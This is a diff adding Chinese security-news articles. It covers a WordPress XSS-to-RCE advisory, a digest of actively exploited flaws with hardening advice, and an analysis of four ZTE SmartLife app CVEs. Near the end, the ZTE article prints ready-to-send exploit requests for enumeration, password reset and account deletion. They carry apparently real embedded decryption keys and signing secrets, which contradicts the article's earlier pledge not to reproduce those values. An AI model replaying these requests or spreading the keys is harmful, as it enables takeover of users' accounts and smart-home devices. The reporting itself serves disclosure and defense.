嵌套关系的正则表达式未正确识别引号边界，将占位符中的 > 误判为标签结束位置，导致 被插入属性值内部。
+
+
+在受影响的主题渲染路径中，后续 wptexturize() 进一步改变引号，导致原本作为普通文本保存的内容被浏览器解析为事件处理属性，从而执行 JavaScript。若脚本在具备插件安装权限的管理员会话中运行，便可能读取安装表单令牌并上传恶意插件，最终以 Web 服务进程权限执行服务器代码。
+
+
+官方补丁改进了 wpautop() 中的正则表达式，使其正确处理单双引号包围的属性值，避免将属性内部的 > 误认为标签结束符，从源头阻断上述转换链。
+
+
+**04**
+
+**漏洞复现**
+
+
+
+360 漏洞研究院已成功复现 WordPress Core 存储型跨站脚本漏洞（Comment2Shell），构造并发送对应 Payload，成功验证该漏洞可导致未认证远程代码执行，最终获取到目标站点 Shell 权限。
+
+
+
+WordPress Core 存储型 XSS 可导致 RCE
+
+
+**05**
+
+**产品侧支持情况**
+
+
+
+**360安全智能体：**
+支持该漏洞攻击的智能分析**。**
+
+**360测绘云 Quake**
+：默认支持该产品的指纹识别。
+
+**360高级持续性威胁预警系统**
+：预计 2026年9月23日发布规则更新包，支持该漏洞利用行为的检测。
+
+**360资产与漏洞检测管理系统**
+：预计 2026年9月23日发布规则更新包，支持该漏洞利用行为的检测。
+**本地安全大脑**
+：默认支持该漏洞的PoC检测。
+
+
+**06**
+
+**时间线**
+
+
+
+2026年9月22日，360漏洞研究院发布本安全风险通告。
+
+
+**07**
+
+参考链接
+
+
+
+https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/
+
+https://wordpress.org/news/2026/09/wordpress-7-1-1-maintenance-and-security-release/
+
+https://wordpress.org/documentation/wordpress-version/version-7-1-1/
+
+https://www.patchstack.com/articles/wordpress-7-1-1-maintenance-and-security-release/
+
+
+08
+
+更多漏洞情报
+
+
+
+“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！”
+
+
+
+
+
+建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
+
+
+邮箱：360VRI@360.cn
+
+网址：https://vi.loudongyun.360.net
+
+
+
+“洞”悉网络威胁，守护数字安全
+
+
+**关于我们**
+
+
+360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
+
diff --git a/doc/2026-09/【热点安全风险】9月22日 Cisco ISE 满分认证绕过进 KEV，攻击者可直取身份中枢 root 权限（CVE-2026-76460）.md b/doc/2026-09/【热点安全风险】9月22日 Cisco ISE 满分认证绕过进 KEV，攻击者可直取身份中枢 root 权限（CVE-2026-76460）.md
new file mode 100644
index 00000000..552a3040
--- /dev/null
+++ b/doc/2026-09/【热点安全风险】9月22日 Cisco ISE 满分认证绕过进 KEV，攻击者可直取身份中枢 root 权限（CVE-2026-76460）.md
@@ -0,0 +1,174 @@
+# 【热点安全风险】9月22日 | Cisco ISE 满分认证绕过进 KEV，攻击者可直取身份中枢 root 权限（CVE-2026-76460）
+ 华顺信安威胁情报中心 2026-09-21 23:30
+
+**PART.****0****1**
+
+
+风险汇总
+
+
+
+
+## 风险一：Cisco ISE 满分认证绕过遭在野利用，身份与网络准入中枢可被直取 root（CVE-2026-76460）
+
+Cisco 于 9 月 16 日披露 Identity Services Engine 的认证绕过漏洞：某 API 端点认证控制不足，未认证攻击者即可绕过 Web 管理界面，CVSS 3.1 满分 10.0。该漏洞已遭真实利用，CISA 同日列入 KEV，联邦机构须 9 月 19 日前处置，成功利用可取 root 权限并藏匿日志。ISE 决定谁能接入网络，失守等于身份与网络准入被接管。修复版本为 3.1 Patch 12、3.2 Patch 11、3.3 Patch 12、3.4 Patch 7、3.5 Patch 4，暂无缓解措施，暂以 ACL 收敛。
+### 建议排查
+1. 盘点全部 ISE 与 ISE-PIC 节点版本，对照修复补丁确认覆盖情况，优先处理公网可达实例。
+
+1. 检索 ise-kong/access.log 中可疑用户名（如 dummyuser）与非预期登录、配置变更记录。
+
+1. 结合设备外部防火墙与网络日志排查来自 ISE 的异常上传下载，勿只依赖设备自身日志。
+
+### 加固建议
+1. 立即升级至对应修复补丁（3.1 Patch 12、3.2 Patch 11、3.3 Patch 12、3.4 Patch 7、3.5 Patch 4）。
+
+1. 暂无补丁时用基础设施 ACL 收敛管理面与控制面流量，缩小暴露范围。
+
+1. 怀疑已失守时按事件响应取证并重建节点，轮换相关网络与身份凭据。
+
+### 参考来源
+
+https://kudelskisecurity.com/research/cisco-identity-services-engine-authentication-bypass---actively-exploited
+
+## 风险二：朝鲜 WaterPlum 假招聘窃密行动感染 3 万台设备，1071 万美元加密资产流向朝鲜
+
+日本警察厅、美国 FBI、澳大利亚 ACSC、德国 BND/BfV 于 9 月 18 日发布联合公告，披露朝鲜背景攻击活动 WaterPlum：冒充 AI 与加密企业招聘人员，借假面试诱导下载暗藏后门的恶意 npm 包与 VSCode 项目，BeaverTail、InvisibleFerret 等恶意族可窃取口令、截图及加密钱包私钥助记词。2025 年 12 月至 2026 年 7 月，逾 3 万台设备、100 余国被攻陷，7000 余个加密钱包被窃，约 1071 万美元流向朝鲜；被陷设备还会沦为打入雇主内网的跳板，日本首次端掉掩护身份的笔记本农场。
+### 建议排查
+1. 对曾参与外部技术面试、下载执行过编码作业或第三方项目的员工终端逐一排查恶意 npm 包与 VSCode 任务配置痕迹。
+
+1. 对照官方情报检索 BeaverTail、InvisibleFerret、OtterCookie、OtterCandy、StoatWaffle 等家族特征、后门外联与异常进程。
+
+1. 重点核查研发与加密资产岗位设备的回连内网行为，评估个人终端横向进入企业内网的路径。
+
+### 加固建议
+1. 规定不可信代码仅在沙箱或虚拟机内运行，外部项目在受限模式下打开并核查 .vscode/tasks.json 等自执行配置。
+
+1. 将持币及私钥、助记词保管设备与日常开发展机隔离，私钥离线存放、定期轮换，勿在陌生设备导入。
+
+1. 疑似受染设备立即断网处置，按信息可能已外泄重建系统、迁移钱包资产，并对关联账号与数据集持续监控。
+
+### 参考来源
+
+https://www.ic3.gov/CSA/2026/260918.pdf
+
+## 风险三：工作流平台 Orkes Conductor 未认证 RCE 遭大规模利用，一周拦截约 7000 次（CVE-2026-58138）
+
+开源工作流编排平台 Orkes Conductor 的未认证 RCE 正遭大规模利用：攻击者向 workflow API 提交含恶意 JS/Python 表达式的内联工作流定义，经未沙箱化的 GraalVM 求值器执行任意系统命令，CVSS 3.1 评分 9.8。Fortinet 于 9 月 2 日至 9 日拦截约 7000 次利用尝试，单日峰值 1290 次，Previdian 与 Empirical 亦观测到在野利用；Conductor 常协调微服务与 AI 代理并持有下游凭据，失守可级联放大，修复版本 3.30.2。
+### 建议排查
+1. 核对 Conductor 版本，低于 3.30.2 的实例列入优先处置，确认 workflow API 是否暴露于非可信网络。
+
+1. 检索含 INLINE、LAMBDA、DO_WHILE、SWITCH 任务的异常工作流提交记录，回溯近月提交日志。
+
+1. 监控 Conductor 进程派生的非预期子进程、异常命令执行与外联行为。
+
+### 加固建议
+1. 立即升级至 3.30.2 或更高版本，升级后确认实际运行版本而非仅安装包版本。
+
+1. 将 workflow API 置于防火墙或访问控制之后，限制公网与跨段可达性。
+
+1. 对 Conductor 运行账号最小授权，避免以 root 或高权限账号托管实例。
+
+### 参考来源
+
+https://protect.computer/news/2026-09-19-orkes-conductor-rce-cve-2026-58138
+
+## 风险四：Issabel PBX 硬编码 JWT 密钥被利用，未认证即可远程命令执行（CVE-2026-89026）
+
+开源 IP-PBX 的 Issabel Framework 存在一枚已遭在野利用的命令执行漏洞：pbxapi 的 index.php 内含硬编码 HS256 JWT 密钥且所有安装相同，未认证攻击者即可伪造 bearer 令牌，经 /pbxapi/manager/originate 使 Asterisk 执行任意系统命令，CVSS 3.1 评分 9.8。9 月 9 日被 Shadowserver 观测到在野利用，修复于 8 月 1 日。Issabel 多用于中小企业和呼叫中心，常暴露公网，失守即通话记录、SIP 凭据、拨号计划被窃取篡改并成为内网跳板。
+### 建议排查
+1. 盘点 Issabel 部署版本与 pbxapi 端点可达性，确认是否落在硬编码密钥修复前版本。
+
+1. 检索 /pbxapi/manager/originate 异常请求、System 应用参数调用与伪造 bearer 令牌行为。
+
+1. 检查 PBX 主机的非预期命令执行、计划任务、外联与通话数据导出记录。
+
+### 加固建议
+1. 应用 8 月 1 日补丁（commit b97dbaf），确认密钥迁移至 /etc/issabel.conf 且不残留旧值。
+
+1. 将 pbxapi 与 Asterisk 管理接口限制在可信网络，禁止管理面直连公网，必要时经 VPN 访问。
+
+1. 复核漏洞窗口期内暴露的 SIP 凭据、通话与配置数据，按需轮换并保留审计日志。
+
+### 参考来源
+
+https://informationsecurity.report/top-stories/issabel-framework-flaw
+
+## 风险五：临床研究平台 REDCap 曝未认证 RCE，医疗机构科研数据面承压（CVE-2026-90817）
+
+Vanderbilt 大学开发的临床研究数据平台 REDCap 曝出未认证 RCE：survey 透传路由与数据导入逻辑存在缺陷，攻击者从公开 survey 上下文构造请求访问非预期控制器路由，并在导入时提交构造的文件路径与流参数，即可远程执行任意代码，CVSS 3.1 评分 9.8。利用无需凭据，但需掌握有效公开 survey 哈希。影响 13.3.0 及以上版本，修复版本为 16.0.49、17.3.10 与 17.4.4。REDCap 广泛用于医院与科研机构的临床研究数据采
+集，集中保存受试者健康与隐私数据，失守将直接威胁临床研究与受试者隐私安全。
+### 建议排查
+1. 盘点全部 REDCap 实例版本，确认是否低于修复版本并识别公网 survey 暴露面。
+
+1. 检索 survey 路由与非预期控制器访问，核查数据导入请求中的异常文件路径与流参数。
+
+1. 审视公开 survey 哈希的泄露或可枚举风险，评估是否可被利用触发漏洞。
+
+### 加固建议
+1. 按版本升级至 16.0.49、17.3.10 或 17.4.4，未修复实例先行限制访问来源。
+
+1. 收紧 survey 与数据导入接口的暴露范围，避免非必要公网可达。
+
+1. 加强临床数据访问与导入操作审计，轮换相关服务凭据并复核异常访问。
+
+### 参考来源
+
+https://www.securifera.com/advisories/
+
+## 风险六：勒索团伙 N0n 上架体育电商 Fanatics，声称窃取约 108GB 订单与财务数据
+
+勒索团伙 N0n 于 9 月 20 日将全球体育电商平台 Fanatics 列上暗网泄密站：声称已窃取完整订单历史（46902 个订单文件、约 108GB，含客户个人信息）、联盟与品牌应付账款发票、客户余额、银行交易存档、免税证明及反欺诈数据集，并宣称云数据资产已处于破坏性控制、删除已开始，截止日期 9 月 23 日。该团伙采用加密加泄露的双重勒索模式，9 月 18 日至 20 日连续上架 Inter、Transcom、GC789 等多家企业；Fanatics 尚未正式确认。体育电商持有大量消费者身份与支付关联数据，相关用户应关注官方通报并核查账户暴露。
+### 建议排查
+1. 关注 Fanatics 官方通报与 N0n 后续动态，若平台有客户数据交互，评估受影响账户范围。
+
+1. 核查云数据资产的访问与备份策略，确认是否存在异常导出、删除或加密行为。
+
+1. 对高价值云资产启用行为基线告警，监控异常批量下载、存储删除与凭据使用。
+
+### 加固建议
+1. 对云数据资产落实不可变备份与异地隔离，确保可独立于生产环境恢复。
+
+1. 强化云访问凭据的最小授权、短期令牌与多因素认证，收敛大规模数据导出能力。
+
+1. 参照双重勒索剧本演练响应流程，提前明确数据泄露应对与通报口径。
+
+### 参考来源
+
+https://recentbreaches.com/breach/fanatics-global-sports-commerce-platform-n0n-2026-09
+
+
+**PART.****02**
+
+
+总体处置建议
+
+
+
+
+## 总结
+
+本期呈现在野利用高分漏洞集中爆发与两条典型事件交织的格局。漏洞侧：Cisco ISE 满分认证绕过已入 KEV、属应急级处置；Orkes Conductor 一周拦截约 7000 次、Issabel 硬编码 JWT 密钥可远程执行命令、REDCap 未认证 RCE，均指向未认证入口的普遍暴露。事件侧：WaterPlum 假招聘窃密感染 3 万台设备并窃走加密资产，凸显开发工具链路成为新攻击面；N0n 上架 Fanatics 提示电商与云数据资产需落实不可变备份与最小授权。
+
+## 整体风险处置建议
+1. 优先处置在野利用的高分漏洞：紧急升级补丁，暂无法修复的用 ACL 收敛管理接口与公网暴露，并对关键系统做失陷假设排查。
+
+1. 收敛未认证入口与硬编码、默认凭据：清理公网管理面与 API 端点，停用出厂密钥、默认口令及无限制脚本执行配置。
+
+1. 防社工与供应链投递：开发及持敏感资产设备严格沙箱隔离，禁止运行不可信第三方代码，部署 EDR 监控异常自执行与外联行为。
+
+1. 数据资产按不可变备份、最小授权与短期凭据加固，收敛批量导出能力，面向双重勒索预演数据恢复与通报流程。
+
+1. 建立每日威胁联动闭环：跟踪 KEV 与厂商公告，对新披露在野漏洞在窗口期内完成盘点、检测、补丁闭环并留痕。
+
+
+## 合规说明
+
+以上内容基于公开信息整理，仅用于网络安全防护与管理决策参考，具体影响范围与修复方式请以厂商官方公告为准。
+
+
+
+
+
+
+
+
diff --git a/doc/2026-09/中兴SmartLife安卓应用的4个CVE漏洞直至账户接管.md b/doc/2026-09/中兴SmartLife安卓应用的4个CVE漏洞直至账户接管.md
new file mode 100644
index 00000000..35c7306f
--- /dev/null
+++ b/doc/2026-09/中兴SmartLife安卓应用的4个CVE漏洞直至账户接管.md
@@ -0,0 +1,360 @@
+# 中兴SmartLife安卓应用的4个CVE漏洞直至账户接管
+ Ots安全 2026-09-22 05:14
+
+**威胁简报**
+
+
+**恶意软件**
+
+
+**漏洞攻击**
+
+2026 年 9 月 20 日 09 时 15 分（UTC），中兴通讯在自己维护的 PSIRT 门户上发布了这批公告里最晚的一条编号记录。同一天的 19 时 12 分，一份带可执行脚本和完整密钥参数表的 PoC 仓库出现在 GitHub 上，两个时刻相隔 9 小时 57 分。
+
+这批公告一共四条编号，CVE-2026-86552 至 CVE-2026-86555，指向中兴 SmartLife 移动应用与其背后的账号后端，其中评分最高的一条是密码重置问题。按厂商在编号记录里的原文，攻击者拿到应用认证参数之后可以直接调用验证接口取得注册邮箱对应的真实账号 ID，再伪造应用认证信息并带上目标账号 ID 重置该账号的密码，报告人随后用新密码登录并取得了有效会话。
+
+这是本系列遇到的第十种源结构：厂商自己担任编号分配机构（CNA），PoC 完整公开，而修复同时落在客户端包与服务端后端，两边都没有可供逐行比对的补丁。这类素材的核查重点不在于机制能不能还原，而在于把可核与不可核逐项分开，尤其是把发布决定所依赖的那句声明单独拎出来查。
+## 一、先看问题：四个编号与一次同日修订
+### 1.1 编号体系与厂商自任 CNA
+
+四条记录的分配机构字段都是 zte
+，机构标识 6786b568，含义是这批编号由厂商自己受理、自己评分、自己发布，MITRE 侧只做登记。这不影响编号的有效性，但决定了一件事：**围绕这些漏洞的每一句官方表述，来源只有一个。**
+ 第三方能独立复核的只有厂商写下的文字，不能复核这些文字背后的判断过程。
+
+四条记录的预留时间都落在 2026-09-08 02:55:56.712，四者处于同一毫秒，说明这批编号是一次性申请下来的，申请日期在厂商称「已完全修复」之后五天。
+### 1.2 四条评分与弱点编号
+
+四条评分都是纯基础评分，四条向量里都没有时间维度与环境维度分量，也就是说厂商没有对可利用性成熟度作出判定。
+
+四点观察值得写下来作为后文的索引。三条账号类问题共用同一个弱点编号 CWE-269，即权限管理不当，这是一个父类编号。这三个问题分别涉及恢复机制缺少校验、账号标识可枚举、注册流程未验证邮箱归属，投到恢复机制类或信息暴露类的弱点更贴近具体缺陷。
+
+本文不裁定映射对错，但要指出后果：自查表按弱点编号分派，父类编号会把三类不同的代码修改并成一类。硬编码密钥那条用 CWE-798（使用硬编码凭据），这一条准确。四条记录的影响清单里都挂了 CAPEC-115（认证绕过），而对硬编码密钥那一条来说，认证绕过属于下游结果而不是该缺陷本身，它自己只直接影响机密性。NVD 侧状态全部是 Received，意味着 NVD 还没有给出自己的分析结论。
+
+四条评分都是 CNA 提供的次级来源评分，NVD 侧末次更新是 2026-09-21 19 时 17 分。
+### 1.3 时间线与窗口期
+ | |
|---|
| 技术报告经邮件正文提交厂商 PSIRT，含五个问题与请求示例 |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
+窗口期算出来是五段。报告到首个修复包上架 93 天，报告到厂商称已修复 108 天，报告到编号发布 125 天。编号预留到发布 12 天，**编号末条发布到 PoC 公开 9 小时 57 分。**
+ 前四段的时间点只有一个来源即报告人自述，第五段的两个端点分别来自 CVE 记录与仓库接口元数据，可以独立复核。需要一并注明的是，报告人称整个协调过程一共往来了 50 封邮件，这个数字同样只有单来源。
+### 1.4 在野状态的三层写法
+
+厂商侧的四条记录里都没有在野利用的表述，exploited
+ 字段并不出现。CISA 已知被利用漏洞目录（KEV）未收录这四条编号，顺带核实的一个事实是在 2026-09-21 版本的 KEV 全量目录里，厂商项目字段为 ZTE 的记录是零条。CISA 侧漏洞富化在 2026-09-21 18 时 05 分至 18 时 10 分写入。四条全部标 Exploitation: none
+ 与 Automatable: no
+，技术影响一条标 total、三条标 partial。
+
+这三者不冲突，但不能合并成一句话。需要指出的是富化写入的时间戳晚于 PoC 公开约 23 小时，也就是说这份判定是在完整 PoC 已经躺在公开仓库里之后写下的。该字段对「PoC 已公开」这一情形的取值口径，公开信息未说明，本条只作观察记录，不作结论。
+
+EPSS 方面，86553 为 0.00446，百分位 0.38035，取值日期 2026-09-21，取自 FIRST 公开接口，四条均低于 0.5%。EPSS 衡量的是未来 30 天被利用概率的估计值，不是严重性指标，与 CVSS 并列看而不混读。
+## 二、影响范围：版本号、修复层与分发渠道
+### 2.1 客户端版本号是不是修复判据
+
+四条记录的受影响字段写的是 ZTE_SL_V2.8.2_ABROAD and prior versions
+，86555 一条则写作 and earlier versions。两者含义相同而写法不同，可以反推出四条记录在撰写时并非共用同一段文本。
+
+**修复版本在编号记录里是空的。**
+ 有聚合站给出 ZTE_SL_V2.8.4_ABROAD
+ 为修复版本。我核了四条 CNA 容器的全部字段，里面没有修复版本字段，也没有 datePublic 与 timeline，因此这个值只有聚合站一个来源。
+
+应用商店侧的公开数据是这样的。Google Play 当前版本 2.8.4，更新日期 2026 年 8 月 19 日，版本说明只有一句 Fixed known issues。App Store 版本历史显示 2.8.4 发布于 2026 年 8 月 21 日，说明文字是 Resolve existing issues。两处与「修复版本为 2.8.4」的说法自洽。
+
+这条推理的方向要注意。商店的上架时间只能证明 2.8.4 何时可用，不能证明厂商以它为修复边界。按修复版本倒推，2.8.3 位于受影响的 2.8.2 之后、修复的 2.8.4 之前，其状态在四条记录里没有任何说明。**自查时不要把「我在 2.8.3」当作已修复的依据。**
+### 2.2 修复落在客户端还是服务端
+
+三个账号类问题，枚举、重置、注册跳过验证，都发生在后端接口上，修复只能落在服务端；硬编码密钥那条在客户端包里，修复需要一个新版本。**四条编号的修复不是一个动作。**
+
+用户能升级应用，但升级不了服务端，而服务端是否已修，用户从应用商店的信息里读不出来。这一点还能从处置指引的落差上看出来。厂商公告侧给出的路径指向其全球客户支持中心，应用商店的版本说明里不含任何安全字样。两个渠道给出的「该怎么办」并不一致，而两边都不回答「你的服务端是否已修复」这个问题。
+### 2.3 两条分发渠道的版本时间
+
+两条渠道相隔两天，都落在厂商称「已完全修复」的 2026-09-03 之前，顺序是修复包先上架、厂商后确认修复完成、编号再晚 17 天发布。
+### 2.4 平台边界在编号记录里是空的
+
+受影响字段用的是跨平台的版本串 ZTE_SL_V2.8.2_ABROAD
+，没有区分 Android 与 iOS。而报告人的客户端取证对象只有一个，即 Android 包 com.zte.smarthome.abroad
+ 2.8.1。iOS 客户端是否也以同样方式从公开引导接口派生应用认证材料，公开信息未说明，自查时不要因为编号串不区分平台就假定两端行为一致。
+### 2.5 版本表述与修复版本之间的空档
+
+能确认的是「2.8.2 及更早受影响」这一句，它出自厂商；「2.8.4 是修复边界」出自聚合站。这两句不要拼成一句当成官方结论，因为中间那段空档在编号记录里没有对应的文字。
+## 三、原因导致：两层信任被折成一层
+### 3.1 应用身份与应用签名的构造位置
+
+账号接口要求五个固定请求头，分别是应用标识、租户标识、接入密钥、语言标识，以及一个由共享密钥与当前毫秒时间戳加密得到的动态值。前四个是静态值，第五个由客户端在运行时现算，服务端据此判断请求来自官方应用。
+
+动态值所需的共享密钥与接入密钥来自何处，报告人给出的路径是这样的。应用启动后请求一个公开的引导接口，接口返回一段密文。客户端用写在 APK 里的解密密钥把它解开，得到服务器地址、客户端对称密钥、共享密钥与接入密钥。这一段是整条链的入口，也是编号 86555 的落点，它的性质是一个服务端配置分发接口，不校验调用者身份，也不要求登录。
+### 3.2 账号操作缺的是哪一层校验
+
+把两件事分开看：第一层是应用身份，服务端要确认请求来自 SmartLife 应用；第二层是用户授权，服务端要确认调用者控制了被操作的那个账号。**四条编号的问题全部出在第二层。**
+
+枚举是只要知道邮箱就能问出账号是否存在以及后端标识，重置是拿到后端标识就能改密码，注册是未验邮箱归属就能完成。第一层本身没有被攻破，它只是被公开材料完整地绕开了，因为解开它所需要的钥匙就写在客户端里。把客户端密钥的暴露当成一次移动端逆向问题是一种常见的降级读法，这里的入口问题不构成影响，影响在于后端把应用身份当成了账号授权的替代品。
+### 3.3 厂商描述与研究者主张的分歧点
+
+研究者写下的根因是重置路径根本没有要求重置验证码，缺失的那一步校验就是缺陷本身。厂商在编号记录里的原文是，攻击者拿到应用认证参数后可以直接调用验证接口取得注册邮箱对应的真实账号 ID，再通过伪造应用认证信息加目标账号 ID 重置目标账号密码。
+
+对照下来，厂商描述了「怎么做到」，没有说「少了哪一步」，**「缺少重置验证码校验」这一根因主张只有研究者一个来源。**
+ 这一点在自查里很关键，因为它决定排查范围：按厂商描述读，这是一次身份伪造加接口滥用，要看的是签名校验与接口权限；按研究者主张读，这是一处缺失的流程校验，要看的是密码重置流程的状态机。两者指向不同的检查项。
+
+另需注明一段文字。聚合站页面上有一段以 Solution 为标题的处置建议，内容包含对密码重置功能实施限速等五条。而我核了四条 CNA 容器的字段清单，里面没有 solutions 字段。该段文字的归属，公开信息未说明，不得读成厂商的根因认定。
+### 3.4 公开引导接口为什么是可用的
+
+引导接口托管在一个公开域名上，接收客户端标识与区域参数，返回一段密文，不需要任何账号，也不需要登录。它的设计意图可以理解：客户端首次运行时要拿到服务器地址与密钥材料，服务端于是把这些配置发给任何来问的调用者。
+
+问题在于返回的材料里包含了在后续请求中充当签名凭据的共享密钥，而解开这段密文的钥匙就写在客户端里。把服务端配置发给未认证的客户端，等于把配置里的秘密也发给未认证的调用者，客户端写死的解密密钥只抬高了几分钟的静态分析成本。
+## 四、漏洞触发：从引导接口到有效会话
+### 4.1 四步链与每一步的可核程度
+
+四条厂商描述逐字确认了接口路径与顺序。/account/verify.serv
+、/account/person/signup.serv
+、/account/password/reset.serv
+、/account/delete.serv
+、/auth/login.serv
+ 都出现在厂商原文里。**接口名与调用顺序是可核的**
+，返回码对照与账号后置条件则只有报告人一个来源。
+
+报告人给出的返回码对照是未注册邮箱返回 0004、已注册邮箱返回 0000 并附带后端账号标识；第 4 步的对照是旧密码被拒、新密码返回会话。这些数值在公开材料里没有第二份记录，它们构成文章结论的最薄一层支撑。
+### 4.2 唯一被厂商排除的那一步
+
+删除接口在报告人早期选到的环境上无需用户令牌即可删除账号，厂商称该行为仅存在于测试环境、生产路径需要令牌，报告人接受了这一说明，四条编号不含这一项。报告人记录的负向复测正是在这个接口上，在现网主机上返回 3001，令牌校验失败。
+
+这一条被排除是合理的，但要注意它在整份材料里的位置：**这是全文唯一一处「修补之后的行为被复核过」的记录，而它落在被排除的那一项上。**
+ 其余四项在材料里只有正向复现的记录，没有负向复核的记录，因此「现在还能不能走通」这个问题，公开材料没有给出答案。
+### 4.3 公开的密钥材料与它的失效边界
+
+报告人公开了四类密钥参数的完整值，理由是全部端点已修补且密钥材料已由厂商轮换，本文不复制这些值。失效边界要拆开说：客户端里的解密密钥与对称密钥随新版本移除，这一步可核；而请求签名所用的共享密钥与接入密钥属于服务端一侧，它们的失效依赖服务端轮换，外部只能通过一件事验证，就是拿旧材料重放请求看是否被拒。
+
+公开材料里没有这一步的重放记录。仓库的探针说明以现在时描述在现网主机上复现了枚举、重置、重置后登录与注册绕过四项，但没有给出探针的运行时间戳，因此无从判断这些记录产生于修补之前还是之后。
+
+能确认的只有材料已经公开这一事实，「材料已经失效」这一判断只有一个来源，而该来源的可核路径在公开材料里是空的。本文因此选择不转载这些值，理由不是对报告人的判断提出质疑，而是这条判断的可核路径缺失。一旦服务端并未轮换，复制它们等于在本号的一次转发里再分发一份可能仍然有效的凭据，而本号的运作方式正是转发。任何人拿到这份材料能不能再构造出可用的应用认证，公开信息未说明。
+### 4.4 编号之外还有一类密钥材料
+
+报告人在同一段说明里列出的第四项，是静态分析在 APK 中发现的相机双向 TLS 私钥，它位于 res/raw/smartlife_key
+。这份私钥与同目录下的客户端证书匹配，证书签发者为 ZTE-CAMERA-CA
+，用于摄像头与消息队列通信。这一项**不在四个编号里，也没有对应的厂商公告**
+，公开信息未说明厂商是否受理、是否轮换、是否认为它需要单独编号。
+
+把它与本篇主线并列观察，能看出一条边界：报告人对四项密钥材料作了一次性公开，而厂商只对其中三项给出了编号与评分。材料公开的范围大于编号覆盖的范围，这个差额落在哪里，读者需要自己知道。
+### 4.5 登录之后能摸到的面
+
+报告人从 APK 里列出的路由族分成四组。账号会话在 Homecare 软件开发包（SDK）中作为 bearer 凭据使用，同组请求还带一个标记调用方为 SmartLife 的字段。第一组是家庭、房间与已绑定设备清单；第二组是设备绑定与解绑、绑定状态查询、设备分享与取消分享、家庭成员接受；第三组是云到设备的消息转发与一键升级的发起和结果查询；第四组是摄像头、传感器、子用户、用户日志与安防设防相关接口。
+
+这一段的性质要说明白：**路由清单证明的是登录之后这扇门后面有多少东西，不证明这些接口本身存在缺陷。**
+ 报告人明确把这一步标为静态分析所列出的可见面，而不是已经验证的缺陷。把账号会话写进一个能下发设备指令与固件升级动作的平面上，是这条链的后果放大器，账号接管在这个产品上不是一次资料修改，而是一次设备控制权的前置条件。
+### 4.6 报告方的两种验证方法各自证明了什么
+
+方法一是直放，用恢复出的应用认证上下文对报告人自己的对照账号跑一遍账号生命周期，落点是返回码与账号后置条件，它证明的是链路可以走通。方法二是 Frida 运行期观测，附着到官方客户端进程，记录它在运行期选中的后端主机以及进程内生成签名头的路径。它证明的是现网客户端确实在选这个后端并在本地算出签名，报告人称这一步的价值在于压缩了「你测的是测试环境」这类质疑空间。两种方法的运行环境是带 root 的 Android 12 模拟器，静态分析工具是 jadx，脚本语言是 PowerShell 7。
+
+两种方法互补，但都不能回答另一个问题，就是修补之后是否还能走通。两段证据把「机制成立」撑到了很高的强度，把「现已不可用」撑到了零。
+
+4.7 针对每个缺陷触发请求
+
+Bug 1. 通过公共引导程序伪造 SmartLife 应用身份验证
+
+```
+POST /api/getUacSignInfo HTTP/1.1
+Host: ossx-smart.ztehome.com.cn:5443
+Content-Type: application/json
+
+{
+ "clientid":"271950143414",
+ "appDistrict":"DE"
+}
+
+// Decrypt result.data with static APK key (CVE-2026-86555):
+decrypt(result.data, key="096760a7a99d99d12de9fecbfca568c0")
+
+// Yields recovered UAC context:
+// appClientKey: "djrom(&)(&)MORJD"
+// appUacSec: "b2cfe28732612cfd81de7a22ace2034317a47eb94683a016a85cc0883597c625"
+// appUacItp: "271950143414fnu4mb3lxxotfj5mi1tp"
+
+derived account headers:
+X-App-Id: 271950143414
+X-Tenant-Id: 10001
+X-Itp-Value: accessKey=271950143414fnu4mb3lxxotfj5mi1tp
+X-Auth-Value: aes_gcm_encrypt("${appUacSec},271950143414,${appUacItp},${ms}", key="djrom(&)(&)MORJD")
+```
+
+> 弱点：公开的引导数据加上客户端提供的解密密钥，096760a7a99d99d12de9fecbfca568c0可以获取客户端密钥djrom(&)(&)MORJD和用于对到达帐户后端的请求进行签名的秘密材料（CVE-2026-86555）。
+
+
+漏洞 2：账户枚举和账户 ID 泄露
+
+```
+POST /zte-sec-uac-iportalbff/external/account/verify.serv HTTP/1.1
+Host: zxuacde.smart-zte.com
+X-App-Id: 271950143414
+X-Tenant-Id: 10001
+X-Itp-Value: accessKey=271950143414fnu4mb3lxxotfj5mi1tp
+X-Auth-Value:
+X-Lang-Id: en_US
+Content-Type: application/json
+
+{
+ "key": ""
+}
+
+registered -> code=0000 + accountId
+unregistered -> code=0004
+```
+
+> 弱点：目标电子邮件使用恢复的客户端密钥进行加密djrom(&)(&)MORJD。该端点充当注册帐户预言机，并在成功路径中泄露后端帐户标识符（CVE-2026-86554）。
+
+
+漏洞3：无需验证码即可重置密码
+
+```
+POST /zte-sec-uac-iportalbff/external/account/password/reset.serv HTTP/1.1
+Host: zxuacde.smart-zte.com
+X-App-Id: 271950143414
+X-Tenant-Id: 10001
+X-Itp-Value: accessKey=271950143414fnu4mb3lxxotfj5mi1tp
+X-Auth-Value:
+X-Lang-Id: en_US
+Content-Type: application/json
+
+{
+ "accountId":"A",
+ "newPassword":""
+ // noreset code, no old password, no bound reset transaction
+}
+```
+
+> 漏洞：仅凭账户 ID 和新密码即可更改账户状态。缺少验证步骤是该漏洞的根源 (CVE-2026-86553)。
+
+
+缺陷 4. 在先前运行时选择的路径上，未使用用户令牌删除帐户
+
+```
+POST /zte-sec-uac-iportalbff/external/account/delete.serv HTTP/1.1
+Host: uactest.ztems.com
+X-App-Id: 271950143414
+X-Tenant-Id: 10001
+X-Itp-Value: accessKey=271950143414fnu4mb3lxxotfj5mi1tp
+X-Auth-Value:
+X-Emp-No: A
